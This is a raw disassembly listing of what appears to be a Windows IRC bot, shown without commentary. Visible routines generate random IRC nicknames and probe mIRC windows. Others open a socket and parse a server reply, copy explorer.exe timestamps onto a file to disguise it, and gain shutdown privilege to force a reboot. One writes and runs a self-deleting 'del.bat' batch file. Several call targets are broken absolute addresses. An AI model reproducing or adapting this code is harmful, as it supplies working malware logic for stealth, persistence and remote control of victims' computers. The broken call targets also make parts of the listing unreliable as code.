push dword_4D239C[esi]
mov [ebp+eax+var_2008], bl
lea eax, [ebp+var_2008]
push eax
call sub_417B1E
pop ecx
test eax, eax
pop ecx
ja short loc_417D97
push edi
lea eax, [ebp+var_2008]
push ebx
push eax
call sub_41BD10
add esp, 0Ch
mov [ebp+arg_0], ebx
loc_417D86: ; CODE XREF: sub_417C15+135j
; sub_417C15+13Cj
mov eax, [ebp+var_4]
inc eax
cmp eax, [ebp+var_8]
mov [ebp+var_4], eax
jnz short loc_417D25
jmp loc_417CEE
; ---------------------------------------------------------------------------
loc_417D97: ; CODE XREF: sub_417C15+40j
; sub_417C15+104j ...
mov dword_4D2398[esi], ebx
mov esi, dword_4D239C[esi]
cmp esi, ebx
jbe short loc_417DAE
push esi
call dword_4C939C
loc_417DAE: ; CODE XREF: sub_417C15+190j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
sub_417C15 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417DB7 proc near ; CODE XREF: sub_401AC7+31CAp
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
cmp [ebp+arg_8], ebx
push esi
push edi
mov [ebp+var_4], ebx
jle short loc_417E30
loc_417DC9: ; CODE XREF: sub_417DB7+77j
xor edi, edi
mov eax, offset dword_4D2398
loc_417DD0: ; CODE XREF: sub_417DB7+28j
cmp [eax], ebx
jz short loc_417DE1
add eax, 210h
inc edi
cmp eax, offset dword_4D8AB8
jl short loc_417DD0
loc_417DE1: ; CODE XREF: sub_417DB7+1Bj
cmp edi, 31h
jz short loc_417E30
mov esi, edi
push [ebp+arg_0]
imul esi, 210h
lea eax, dword_4D23A4[esi]
push eax
call sub_41C620
mov eax, [ebp+arg_4]
pop ecx
mov dword_4D25A4[esi], eax
pop ecx
lea eax, [ebp+var_8]
mov dword_4D2398[esi], 1
push eax
push ebx
push edi
push offset sub_417C15
push ebx
push ebx
nop
call near ptr 26805C5h
inc [ebp+var_4]
mov eax, [ebp+var_4]
cmp eax, [ebp+arg_8]
jl short loc_417DC9
loc_417E30: ; CODE XREF: sub_417DB7+10j
; sub_417DB7+2Dj
pop edi
pop esi
pop ebx
leave
retn
sub_417DB7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417E35 proc near ; CODE XREF: sub_401AC7+3713p
; sub_401AC7+375Ap ...
var_40 = byte ptr -40h
var_2D = byte ptr -2Dh
var_2C = byte ptr -2Ch
var_2B = byte ptr -2Bh
var_18 = qword ptr -18h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 40h
push 14h
lea eax, [ebp+var_2C]
push 0
push eax
call sub_41BD10
add esp, 0Ch
call sub_41C062
mov [ebp+var_C], eax
fild [ebp+var_C]
fmul dbl_4276F0
call sub_41CF04
cmp eax, 1
jnz short loc_417E7F
call sub_41C062
call sub_41C062
push 66h
cdq
pop ecx
idiv ecx
push dword ptr loc_43828B+5[edx*4]
jmp short loc_417E98
; ---------------------------------------------------------------------------
loc_417E7F: ; CODE XREF: sub_417E35+2Fj
call sub_41C062
call sub_41C062
cdq
mov ecx, 0C0h
idiv ecx
push off_437F90[edx*4]
loc_417E98: ; CODE XREF: sub_417E35+48j
lea eax, [ebp+var_2C]
push eax
call sub_41C620
pop ecx
lea eax, [ebp+var_2C]
pop ecx
push ebx
push esi
push edi
push eax
call sub_41B960
pop ecx
mov esi, eax
push 13h
mov [ebp+var_4], esi
pop eax
sub eax, esi
mov [ebp+var_C], eax
call sub_41C062
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276E8
call sub_41CF04
mov ebx, eax
call sub_41C062
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fimul [ebp+var_4]
fmul dbl_4276E0
call sub_41CF04
cmp esi, 2
mov edi, offset a__0 ; "-|`_\\{[]}"
jle short loc_417F0B
cmp esi, 3
jnz short loc_417F02
cmp ebx, 1
jz short loc_417F0B
loc_417F02: ; CODE XREF: sub_417E35+C6j
cmp eax, 1
jnz loc_417FC5
loc_417F0B: ; CODE XREF: sub_417E35+C1j
; sub_417E35+CBj
call sub_41C062
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276D8
call sub_41CF04
push dword ptr loc_43828B+5[eax*4]
lea eax, [ebp+var_40]
push eax
call sub_41C620
movsx eax, [ebp+esi+var_2D]
lea ebx, [ebp+esi+var_2C]
push eax
push edi
call sub_41C720
add esp, 10h
test eax, eax
jnz short loc_417FB2
movsx eax, [ebp+var_40]
push eax
push edi
call sub_41C720
pop ecx
test eax, eax
pop ecx
jnz short loc_417FB2
call sub_41C062
mov dword ptr [ebp+var_18+4], eax
dec esi
fild dword ptr [ebp+var_18+4]
mov dword ptr [ebp+var_18+4], esi
fild dword ptr [ebp+var_18+4]
fmulp st(1), st
fmul dbl_4276E0
call sub_41CF04
cmp eax, 1
jnz short loc_417FB2
push edi
call sub_41B960
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
pop ecx
fstp qword ptr [ebp-8]
call sub_41C062
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul qword ptr [ebp-8]
fmul dbl_4276E0
call sub_41CF04
mov al, byte ptr a__0[eax] ; "-|`_\\{[]}"
mov [ebx], al
loc_417FB2: ; CODE XREF: sub_417E35+111j
; sub_417E35+122j ...
push [ebp+var_C]
lea eax, [ebp+var_40]
push eax
lea eax, [ebp+var_2C]
push eax
call sub_41C950
add esp, 0Ch
loc_417FC5: ; CODE XREF: sub_417E35+D0j
lea eax, [ebp+var_2C]
push eax
call sub_41B960
mov esi, eax
movsx eax, [ebp+esi+var_2D]
lea ebx, [ebp+esi+var_2C]
push eax
mov [ebp+var_4], esi
call sub_41DDE8
pop ecx
test eax, eax
pop ecx
jnz loc_41822D
and [ebp+var_C], eax
movsx eax, byte ptr [ebx-1]
push eax
push edi
call sub_41C720
pop ecx
test eax, eax
pop ecx
jnz loc_418124
call sub_41C062
mov dword ptr [ebp+var_18+4], eax
lea eax, [esi+3]
fild dword ptr [ebp+var_18+4]
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmulp st(1), st
fmul dbl_4276E0
call sub_41CF04
cmp esi, 3
jz short loc_418033
cmp eax, 1
jnz loc_418124
loc_418033: ; CODE XREF: sub_417E35+1F3j
push 2
cdq
pop ecx
idiv ecx
cmp edx, 1
jnz short loc_418075
push edi
call sub_41B960
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
pop ecx
fstp qword ptr [ebp-10h]
call sub_41C062
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul qword ptr [ebp-10h]
fmul dbl_4276E0
call sub_41CF04
mov al, byte ptr a__0[eax] ; "-|`_\\{[]}"
mov [ebx], al
jmp short loc_418091
; ---------------------------------------------------------------------------
loc_418075: ; CODE XREF: sub_417E35+207j
call sub_41C062
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276D0
call sub_41CF04
mov cl, 41h
sub cl, al
mov [ebx], cl
loc_418091: ; CODE XREF: sub_417E35+23Ej
push 1
inc esi
pop ebx
mov [ebp+var_4], esi
mov [ebp+var_C], ebx
call sub_41C062
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276C8
call sub_41CF04
cmp esi, 3
jz short loc_4180BA
cmp eax, ebx
jnz short loc_418124
loc_4180BA: ; CODE XREF: sub_417E35+27Fj
push 2
pop ebx
cdq
mov ecx, ebx
idiv ecx
test edx, edx
jnz short loc_4180FF
push edi
call sub_41B960
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
pop ecx
fstp qword ptr [ebp-10h]
call sub_41C062
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul qword ptr [ebp-10h]
fmul dbl_4276E0
call sub_41CF04
mov al, byte ptr a__0[eax] ; "-|`_\\{[]}"
mov [ebp+esi+var_2C], al
jmp short loc_41811D
; ---------------------------------------------------------------------------
loc_4180FF: ; CODE XREF: sub_417E35+28Fj
call sub_41C062
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276D0
call sub_41CF04
mov cl, 41h
sub cl, al
mov [ebp+esi+var_2C], cl
loc_41811D: ; CODE XREF: sub_417E35+2C8j
inc esi
mov [ebp+var_C], ebx
mov [ebp+var_4], esi
loc_418124: ; CODE XREF: sub_417E35+1C9j
; sub_417E35+1F8j ...
cmp esi, 6
jge loc_4181AD
cmp esi, 5
jge short loc_418145
call sub_41C062
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276E8
jmp short loc_418163
; ---------------------------------------------------------------------------
loc_418145: ; CODE XREF: sub_417E35+2FBj
call sub_41C062
push 8
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
pop eax
sub eax, esi
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmulp st(1), st
fmul dbl_4276E0
loc_418163: ; CODE XREF: sub_417E35+30Ej
call sub_41CF04
test eax, eax
jnz short loc_418186
call sub_41C062
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276C0
call sub_41CF04
mov cl, 30h
jmp short loc_4181A3
; ---------------------------------------------------------------------------
loc_418186: ; CODE XREF: sub_417E35+335j
cmp eax, 1
jnz short loc_4181AD
call sub_41C062
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276D0
call sub_41CF04
mov cl, 41h
loc_4181A3: ; CODE XREF: sub_417E35+34Fj
sub cl, al
mov [ebp+esi+var_2C], cl
inc esi
mov [ebp+var_4], esi
loc_4181AD: ; CODE XREF: sub_417E35+2F2j
; sub_417E35+354j
cmp [ebp+var_C], 2
jge short loc_41822D
call sub_41C062
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fimul [ebp+var_4]
fmul dbl_4276E0
call sub_41CF04
cmp eax, 1
jnz short loc_41822D
call sub_41C062
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276C0
call sub_41CF04
mov cl, 30h
sub cl, al
mov [ebp+esi+var_2C], cl
call sub_41C062
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276B8
call sub_41CF04
cmp eax, 1
jnz short loc_41822D
cmp [ebp+var_C], eax
jge short loc_41822D
call sub_41C062
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276B0
call sub_41CF04
mov cl, 30h
sub cl, al
mov [ebp+esi+var_2B], cl
loc_41822D: ; CODE XREF: sub_417E35+1B1j
; sub_417E35+37Cj ...
lea eax, [ebp+var_2C]
push 14h
push eax
push [ebp+arg_0]
call sub_41BD70
mov eax, [ebp+arg_0]
add esp, 0Ch
pop edi
pop esi
pop ebx
leave
retn
sub_417E35 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418246 proc near ; CODE XREF: sub_41827E+125p
; sub_41827E+14Cp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_4]
xor esi, esi
sub edi, [ebp+arg_C]
test edi, edi
jle short loc_418274
loc_418257: ; CODE XREF: sub_418246+2Cj
push [ebp+arg_C]
mov eax, [ebp+arg_0]
add eax, esi
push [ebp+arg_8]
push eax
call sub_41DE40
add esp, 0Ch
test eax, eax
jz short loc_41827A
inc esi
cmp esi, edi
jl short loc_418257
loc_418274: ; CODE XREF: sub_418246+Fj
xor al, al
loc_418276: ; CODE XREF: sub_418246+36j
pop edi
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41827A: ; CODE XREF: sub_418246+27j
mov al, 1
jmp short loc_418276
sub_418246 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41827E proc near ; CODE XREF: ___:0040DFC8p
; ___:0040E0B1p
var_2010 = byte ptr -2010h
var_200E = byte ptr -200Eh
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 2010h
call sub_41C2A0
mov eax, [ebp+arg_4]
push esi
dec eax
push edi
jz short loc_4182BF
dec eax
jz short loc_41829D
dec eax
loc_418297: ; CODE XREF: sub_41827E+57j
xor eax, eax
loc_418299: ; CODE XREF: sub_41827E+3Fj
; sub_41827E+169j
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_41829D: ; CODE XREF: sub_41827E+16j
push 3
push 1388h
push [ebp+arg_0]
call dword_4C9344
push eax
call sub_40C336
add esp, 0Ch
neg eax
sbb eax, eax
and eax, 3
jmp short loc_418299
; ---------------------------------------------------------------------------
loc_4182BF: ; CODE XREF: sub_41827E+13j
push 6
push 1
push 2
call dword_4C9384
mov esi, eax
or edi, 0FFFFFFFFh
cmp esi, edi
mov [ebp+arg_4], esi
jz short loc_418297
push ebx
xor ebx, ebx
push 10h
lea eax, [ebp+var_10]
push ebx
push eax
call sub_41BD10
add esp, 0Ch
mov [ebp+var_10], 2
push 87h
call dword_4C9304
push [ebp+arg_0]
mov [ebp+var_E], ax
call sub_40A8E4
pop ecx
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call dword_4C92AC
cmp eax, edi
jz loc_4183DB
push ebx
push 48h
push offset dword_438B9C
push esi
call dword_4C9354
cmp eax, edi
jz loc_4183DB
mov esi, 2000h
push ebx
lea eax, [ebp+var_2010]
push esi
push eax
push [ebp+arg_4]
call dword_4C931C
cmp eax, edi
jz loc_4183DB
cmp [ebp+var_200E], 0Ch
jnz short loc_4183DB
push ebx
push 18h
push offset dword_438BE8
push [ebp+arg_4]
call dword_4C9354
cmp eax, edi
jz short loc_4183DB
push ebx
lea eax, [ebp+var_2010]
push esi
push eax
push [ebp+arg_4]
call dword_4C931C
mov esi, eax
cmp esi, edi
jz short loc_4183DB
cmp [ebp+var_200E], 2
jnz short loc_4183DB
push 10h
push offset loc_438C04
lea eax, [ebp+var_2010]
push esi
push eax
call sub_418246
add esp, 10h
test al, al
jz short loc_4183BB
cmp esi, 12Ch
setnl bl
inc ebx
jmp short loc_4183DB
; ---------------------------------------------------------------------------
loc_4183BB: ; CODE XREF: sub_41827E+12Fj
push 10h
push offset dword_438C18
lea eax, [ebp+var_2010]
push esi
push eax
call sub_418246
add esp, 10h
neg al
sbb eax, eax
and eax, 3
mov ebx, eax
loc_4183DB: ; CODE XREF: sub_41827E+9Bj
; sub_41827E+B2j ...
push [ebp+arg_4]
call dword_4C939C
mov eax, ebx
pop ebx
jmp loc_418299
sub_41827E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4183EC proc near ; CODE XREF: sub_401AC7+BC3p
; sub_401AC7+C00p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
xor esi, esi
cmp edi, esi
jz short loc_418477
mov eax, [ebp+arg_4]
cmp eax, esi
jz short loc_418477
cmp [ebp+arg_8], esi
jz short loc_418477
cmp byte ptr [eax], 0
jz short loc_418477
push ebx
push edi
call sub_426340
mov ebx, eax
pop ecx
test ebx, ebx
jz short loc_418472
push [ebp+arg_4]
push edi
call sub_41C080
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_41846B
sub eax, edi
push eax
push edi
push ebx
call sub_41BD70
push [ebp+arg_8]
mov eax, ebx
sub eax, edi
and byte ptr [eax+esi], 0
call sub_41B960
push eax
push [ebp+arg_8]
push ebx
call sub_41C950
push [ebp+arg_4]
call sub_41B960
add eax, esi
push eax
push ebx
call sub_41C630
push ebx
push edi
call sub_41C620
add esp, 30h
mov esi, edi
loc_41846B: ; CODE XREF: sub_4183EC+3Cj
push ebx
call sub_41BA31
pop ecx
loc_418472: ; CODE XREF: sub_4183EC+2Bj
mov eax, esi
pop ebx
jmp short loc_418479
; ---------------------------------------------------------------------------
loc_418477: ; CODE XREF: sub_4183EC+Cj
; sub_4183EC+13j ...
xor eax, eax
loc_418479: ; CODE XREF: sub_4183EC+89j
pop edi
pop esi
pop ebp
retn
sub_4183EC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41847D proc near ; CODE XREF: sub_40194F+E9p
; ___:00410CB2p
var_7D0 = dword ptr -7D0h
var_7CC = byte ptr -7CCh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 7D0h
push ebx
push esi
push 7D0h
lea eax, [ebp+var_7D0]
push 0
push eax
call sub_41BD10
mov esi, [ebp+arg_0]
push esi
call sub_41B960
add esp, 10h
push 1
pop ebx
cmp eax, ebx
jge short loc_4184B3
or eax, 0FFFFFFFFh
jmp short loc_418526
; ---------------------------------------------------------------------------
loc_4184B3: ; CODE XREF: sub_41847D+2Fj
xor ecx, ecx
mov [ebp+var_7D0], esi
test eax, eax
jle short loc_4184D5
loc_4184BF: ; CODE XREF: sub_41847D+56j
mov dl, [ecx+esi]
cmp dl, 0Ah
jz short loc_4184CC
cmp dl, 0Dh
jnz short loc_4184D0
loc_4184CC: ; CODE XREF: sub_41847D+48j
and byte ptr [ecx+esi], 0
loc_4184D0: ; CODE XREF: sub_41847D+4Dj
inc ecx
cmp ecx, eax
jl short loc_4184BF
loc_4184D5: ; CODE XREF: sub_41847D+40j
xor edx, edx
push edi
test eax, eax
jle short loc_418506
lea edi, [ebp+var_7CC]
loc_4184E2: ; CODE XREF: sub_41847D+87j
cmp byte ptr [edx+esi], 0
jnz short loc_418501
cmp byte ptr [edx+esi+1], 0
lea ecx, [edx+esi+1]
jz short loc_418501
cmp ebx, 1F4h
jge short loc_418506
mov [edi], ecx
inc ebx
add edi, 4
loc_418501: ; CODE XREF: sub_41847D+69j
; sub_41847D+74j
inc edx
cmp edx, eax
jl short loc_4184E2
loc_418506: ; CODE XREF: sub_41847D+5Dj
; sub_41847D+7Cj
cmp [ebp+arg_4], 0
pop edi
jz short loc_418524
lea eax, [ebp+var_7D0]
push 7D0h
push eax
push [ebp+arg_4]
call sub_41CAB0
add esp, 0Ch
loc_418524: ; CODE XREF: sub_41847D+8Ej
mov eax, ebx
loc_418526: ; CODE XREF: sub_41847D+34j
pop esi
pop ebx
leave
retn
sub_41847D endp
; =============== S U B R O U T I N E =======================================
sub_41852A proc near ; CODE XREF: sub_418584+33p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_4]
push esi
push edi
mov edi, [esp+8+arg_8]
mov ecx, 1F4h
xor esi, esi
rep stosd
lea edi, [eax-1]
test edi, edi
jl short loc_418563
push ebx
mov ebx, edi
loc_418547: ; CODE XREF: sub_41852A+36j
mov eax, [esp+0Ch+arg_0]
mov al, [esi+eax]
push eax
call sub_418566
pop ecx
inc esi
mov ecx, [esp+0Ch+arg_8]
mov [ecx+eax*4], ebx
dec ebx
cmp esi, edi
jle short loc_418547
pop ebx
loc_418563: ; CODE XREF: sub_41852A+18j
pop edi
pop esi
retn
sub_41852A endp
; =============== S U B R O U T I N E =======================================
sub_418566 proc near ; CODE XREF: sub_41852A+25p
; sub_418584+6Bp
arg_0 = byte ptr 4
movsx eax, [esp+arg_0]
push eax
call sub_41DEEC
cmp al, 61h
pop ecx
jl short loc_418581
cmp al, 7Ah
jg short loc_418581
movsx eax, al
sub eax, 60h
retn
; ---------------------------------------------------------------------------
loc_418581: ; CODE XREF: sub_418566+Ej
; sub_418566+12j
xor eax, eax
retn
sub_418566 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418584 proc near ; CODE XREF: sub_415DCF+10p
; ___:00415EA1p
var_100C = dword ptr -100Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 100Ch
call sub_41C2A0
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_41B960
push [ebp+arg_4]
mov [ebp+var_4], eax
call sub_41B960
mov esi, eax
lea eax, [ebp+var_100C]
push eax
push esi
push [ebp+arg_4]
mov [ebp+var_C], esi
call sub_41852A
add esp, 14h
dec esi
mov edi, esi
loc_4185C2: ; CODE XREF: sub_418584+B6j
test esi, esi
jle short loc_418640
mov eax, [ebp+arg_4]
movsx eax, byte ptr [esi+eax]
push eax
call sub_41DEEC
mov ebx, eax
mov eax, [ebp+arg_0]
movsx eax, byte ptr [edi+eax]
push eax
call sub_41DEEC
pop ecx
cmp eax, ebx
pop ecx
jz short loc_418638
loc_4185E8: ; CODE XREF: sub_418584+B2j
mov ebx, [ebp+arg_0]
mov al, [edi+ebx]
push eax
call sub_418566
mov edx, [ebp+var_C]
mov eax, [ebp+eax*4+var_100C]
pop ecx
mov ecx, edx
sub ecx, esi
cmp ecx, eax
jle short loc_418609
mov eax, ecx
loc_418609: ; CODE XREF: sub_418584+81j
add edi, eax
cmp edi, [ebp+var_4]
jge short loc_41863C
mov eax, [ebp+arg_4]
lea esi, [edx-1]
movsx eax, byte ptr [esi+eax]
push eax
call sub_41DEEC
mov edx, eax
movsx eax, byte ptr [edi+ebx]
push eax
mov [ebp+var_8], edx
call sub_41DEEC
pop ecx
pop ecx
mov ecx, [ebp+var_8]
cmp eax, ecx
jnz short loc_4185E8
loc_418638: ; CODE XREF: sub_418584+62j
dec edi
dec esi
jmp short loc_4185C2
; ---------------------------------------------------------------------------
loc_41863C: ; CODE XREF: sub_418584+8Aj
xor eax, eax
jmp short loc_418645
; ---------------------------------------------------------------------------
loc_418640: ; CODE XREF: sub_418584+40j
mov eax, [ebp+arg_0]
add eax, edi
loc_418645: ; CODE XREF: sub_418584+BAj
pop edi
pop esi
pop ebx
leave
retn
sub_418584 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41864A proc near ; CODE XREF: sub_401AC7+66FDp
; sub_401AC7+7700p
var_100 = byte ptr -100h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 100h
push esi
nop
call near ptr 2680DCDh
mov esi, eax
push 0
lea eax, [ebp+var_100]
push 100h
push eax
push 400h
push esi
push 0
push 1200h
call near ptr 27F0000h
nop
lea eax, [ebp+var_100]
loc_418683: ; CODE XREF: sub_41864A+46j
mov cl, [eax]
cmp cl, 1Fh
jg short loc_41868F
cmp cl, 9
jnz short loc_418692
loc_41868F: ; CODE XREF: sub_41864A+3Ej
inc eax
jmp short loc_418683
; ---------------------------------------------------------------------------
loc_418692: ; CODE XREF: sub_41864A+43j
; sub_41864A+5Bj ...
and byte ptr [eax], 0
dec eax
lea ecx, [ebp+var_100]
cmp eax, ecx
jb short loc_4186AC
mov cl, [eax]
cmp cl, 2Eh
jz short loc_418692
cmp cl, 21h
jl short loc_418692
loc_4186AC: ; CODE XREF: sub_41864A+54j
lea eax, [ebp+var_100]
push esi
push eax
mov esi, offset dword_4D8ABC
push [ebp+arg_0]
push offset aSErrorSD_ ; "%s Error: %s <%d>."
push 200h
push esi
call sub_41C100
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_41864A endp
; =============== S U B R O U T I N E =======================================
sub_4186D4 proc near ; CODE XREF: sub_401AC7+245Ap
push esi
push 0
call dword_4C92D4
test eax, eax
jz short loc_41870B
push 1
call dword_4C92F4
mov esi, eax
test esi, esi
jz short loc_41870B
push edi
push esi
call near ptr 28005BFh
nop
push esi
mov edi, eax
call near ptr 2800000h
nop
call dword_4C9358
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_41870B: ; CODE XREF: sub_4186D4+Bj
; sub_4186D4+19j
xor eax, eax
pop esi
retn
sub_4186D4 endp
; =============== S U B R O U T I N E =======================================
sub_41870F proc near ; CODE XREF: sub_401AC7+74B5p
arg_0 = dword ptr 4
push ebp
push esi
push edi
xor esi, esi
mov edi, offset aMirc_0 ; "mIRC"
push esi
push edi
call dword_4C9310
mov ebp, eax
cmp ebp, esi
jz short loc_41878B
push ebx
push edi
push 1000h
push esi
push 4
push esi
push 0FFFFFFFFh
call near ptr 281012Ah
nop
push esi
push esi
mov edi, eax
push esi
push 0F001Fh
push edi
nop
call near ptr 2810000h
push [esp+10h+arg_0]
mov ebx, eax
push ebx
call sub_41C006
pop ecx
pop ecx
push esi
push 1
push 4C8h
push ebp
call dword_4C9360
push esi
push 1
push 4C9h
push ebp
call dword_4C9360
push ebx
nop
call near ptr 2800B44h
push edi
call near ptr 2660000h
nop
push 1
pop eax
pop ebx
jmp short loc_41878D
; ---------------------------------------------------------------------------
loc_41878B: ; CODE XREF: sub_41870F+16j
xor eax, eax
loc_41878D: ; CODE XREF: sub_41870F+7Aj
pop edi
pop esi
pop ebp
retn
sub_41870F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418791 proc near ; CODE XREF: ___:00401430p
var_11C = byte ptr -11Ch
var_18 = byte ptr -18h
var_10 = byte ptr -10h
var_8 = byte ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 11Ch
push ebx
push esi
xor esi, esi
push edi
lea eax, [ebp+var_11C]
push esi
push eax
push 104h
push esi
push offset aExplorer_exe ; "explorer.exe"
push esi
call dword_4C93C0
test eax, eax
jz short loc_418830
mov edi, 80h
push esi
push edi
push 3
push esi
mov esi, dword_427100
push 1
lea eax, [ebp+var_11C]
push 80000000h
push eax
call esi
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_418830
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push ebx
nop
call near ptr 2820000h
push ebx
mov ebx, dword_427078
call ebx
push 0
push edi
push 3
push 0
push 2
push 40000000h
push [ebp+arg_0]
call esi
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_418830
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push esi
nop
call near ptr 281070Dh
push esi
call ebx
loc_418830: ; CODE XREF: sub_418791+2Aj
; sub_418791+51j ...
pop edi
pop esi
pop ebx
leave
retn
sub_418791 endp
; =============== S U B R O U T I N E =======================================
sub_418835 proc near ; CODE XREF: sub_401AC7+1675p
push 1
push offset aSeshutdownpriv ; "SeShutdownPrivilege"
call sub_419B3F
pop ecx
pop ecx
push 50005h
push 6
call dword_4C9244
neg eax
sbb eax, eax
neg eax
retn
sub_418835 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418857 proc near ; CODE XREF: sub_401AC7+26F7p
; ___:00416BC6p
var_764 = byte ptr -764h
var_364 = byte ptr -364h
var_260 = byte ptr -260h
var_15C = byte ptr -15Ch
var_58 = dword ptr -58h
var_4C = dword ptr -4Ch
var_2C = dword ptr -2Ch
var_28 = word ptr -28h
var_14 = byte ptr -14h
var_4 = byte ptr -4
push ebp
mov ebp, esp
sub esp, 764h
push esi
xor esi, esi
cmp dword_42908C, esi
push edi
jz short loc_41887B
cmp dword_4C93D4, esi
jnz short loc_41887B
push esi
call sub_401000
pop ecx
loc_41887B: ; CODE XREF: sub_418857+13j
; sub_418857+1Bj
call sub_40B576
lea eax, [ebp+var_764]
push eax
push 400h
call near ptr 26B0000h
nop
lea eax, [ebp+var_764]
push eax
lea eax, [ebp+var_260]
push offset aSdel_bat ; "%sdel.bat"
push eax
call sub_41C006
add esp, 0Ch
lea eax, [ebp+var_260]
push esi
push esi
push 2
push esi
push esi
push 40000000h
push eax
nop
call near ptr 27306D8h
mov edi, eax
cmp edi, esi
jbe loc_4189DB
lea eax, [ebp+var_260]
push eax
lea eax, [ebp+var_764]
push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
push eax
call sub_41C006
add esp, 0Ch
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+var_764]
push eax
call sub_41B960
pop ecx
push eax
lea eax, [ebp+var_764]
push eax
push edi
nop
call near ptr 2720000h
push edi
nop
call near ptr 2660000h
push 10h
lea eax, [ebp+var_14]
push esi
push eax
call sub_41BD10
push 44h
lea eax, [ebp+var_58]
pop edi
push edi
push esi
push eax
call sub_41BD10
add esp, 18h
mov [ebp+var_58], edi
mov edi, 104h
lea eax, [ebp+var_15C]
push edi
push eax
push esi
mov [ebp+var_4C], offset byte_43B4B8
mov [ebp+var_2C], 1
mov [ebp+var_28], si
nop
call near ptr 26906BCh
push eax
nop
call near ptr 2670000h
lea eax, [ebp+var_15C]
push eax
nop
call near ptr 269058Ah
cmp eax, 0FFFFFFFFh
jz short loc_418983
lea eax, [ebp+var_15C]
push 80h
push eax
call near ptr 2690408h
nop
loc_418983: ; CODE XREF: sub_418857+118j
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_260]
push eax
lea eax, [ebp+var_764]
push offset aComspecCSS ; "%%comspec%% /c %s %s"
push eax
call sub_41C006
add esp, 10h
lea eax, [ebp+var_364]
push edi
push eax
lea eax, [ebp+var_764]
push eax
nop
